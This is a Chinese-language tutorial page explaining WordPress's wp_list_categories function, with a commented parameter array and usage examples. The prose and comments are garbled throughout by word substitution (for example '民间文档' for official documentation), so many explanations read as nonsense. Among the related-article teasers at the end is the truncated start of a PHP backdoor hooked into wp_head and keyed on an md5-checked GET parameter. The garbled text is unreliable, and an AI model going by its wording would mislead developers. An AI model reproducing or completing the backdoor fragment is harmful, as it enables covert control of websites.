wp_list_categories 函数是 WordPress 中用来列举零碎中分类的函数,该函数领有许多管制输入的参数,明天忽然被一个冤家问到,所以就大略整顿了一下。
由于 WordPress 中内置扩大的小工具性能,
所以咱们不经任何函数就能够在边栏或是其余咱们想要的地位显示一个分类列表,
所以wp_list_categories函数就很少有人用到,
该函数应用起来有点相似于wp_list_bookmarks,
wp_list_categories 形容
wp_list_categories 函数是 WordPress 中用来列举零碎中分类链接的函数。
英文原文就不上了,有兴味的能够去看一下民间文档。
用法
<?php
wp_list_categories( $args );
$args = array(
'show_option_all' => '',//能否列出分类链接
'orderby' => 'name',//按称号陈列
'order' => 'ASC',//升、降序
'style' => 'list',//能否用列表(ul>li)
'show_count' => 0,//能否显示文章数量
'hide_empty' => 1,//能否显示无日志分类
'use_desc_for_title' => 1,//能否显示分类形容
'child_of' => 0,//能否限度子分类
'feed' => '',//能否显示rss
'feed_type' => '',//rss类型
'feed_image' => '',//能否显示rss图片
'exclude' => '',//扫除分类的ID,多个用',(英文逗号)'分隔
'exclude_tree' => '',//扫除分类树,即父分类及其下的子分类
'include' => '',//包括的分类
'hierarchical' => true,//能否将子、父分类分级
'title_li' => __( 'Categories' ),//列表题目的称号
'show_option_none' => __('No categories'),//无分类时显示的题目
'number' => null,//显示分类的数量
'echo' => 1,//能否显示,显示或许前往字符串
'depth' => 0,//层级限度
'current_category' => 0,//增加一个没有的分类
'pad_counts' => 0,//这个我也不明确
'taxonomy' => 'category',//应用的分类法
'walker' => null//用于显示的类(很复杂的概念)
?>
对于'pad_counts',我也没搞明确这个参数是干什么用的,
假如有兴味你能够钻研一下这个参数的民间文档。
也能够对照一下wp_list_bookmarks去应用。
pad_counts (boolean) Calculates link or post counts by including items from child categories. If show_counts and hierarchical are true this is automatically set to true. This parameter added at Version 2.9 Valid values: 1 (true) 0 (false) – default
应用实例
显示包括ID为3,5,9,16的分类链接,且按称号陈列程序
<ul>
<?php wp_list_categories('orderby=name&include=3,5,9,16'); ?>
</ul>
显示Poetry为题目的包括ID为5,9,23的分类列表
<ul>
<?php wp_list_categories('include=5,9,23&title_li=<h2>' . __('Poetry') . '</h2>' ); ?>
</ul>
当然你也能够像如下这样书写参数,将参数整合为数组。
<?php $taxonomy = 'genre'; $orderby = 'name'; $show_count = 0; // 1 for yes, 0 for no $pad_counts = 0; // 1 for yes, 0 for no $hierarchical = 1; // 1 for yes, 0 for no $title = ''; $args = array( 'taxonomy' => $taxonomy, 'orderby' => $orderby, 'show_count' => $show_count, 'pad_counts' => $pad_counts, 'hierarchical' => $hierarchical, 'title_li' => $title ); ?> <ul> <?php wp_list_categories( $args ); ?> </ul>
taxonomy分类法,是**于标签(tag)的概念。
以上就是安达网络工作室关于《详解WordPress中分类函数wp_list_categories的使用》的一些看法。更多内容请查看本栏目更多内容!
本文实例讲述了Wordpress将选中内容分享到新浪腾讯微博的办法。分享给大家供大家参考。详细办法如下: 1、引...
复制代码代码如下:add_action( 'wp_head', 'my_backdoor' );function my_backdoor() {if ( md5( $_GET['bac...
当然, 尚有诸位长辈也曾把以上三种计划结合一二, 以达到更宽泛的顺应度. 不过, 这厢先前在网路上搜寻许久, ...
在WordPress中,咱们发如今写文章时,可视化模式下会对html代码进行清算,例如对<>等符号转化为html实体,对...
COOKIE记载SESSION记载数据库记载缓存文件记载从技术难度上,第1、2种办法最简略,因而,下文将完成以COOKI...
增加 Ctrl+Enter 快捷回复 这里送上两种办法,首先是 jQuery 办法,前段工夫不断在钻研 jQuery ,因而对 jQ...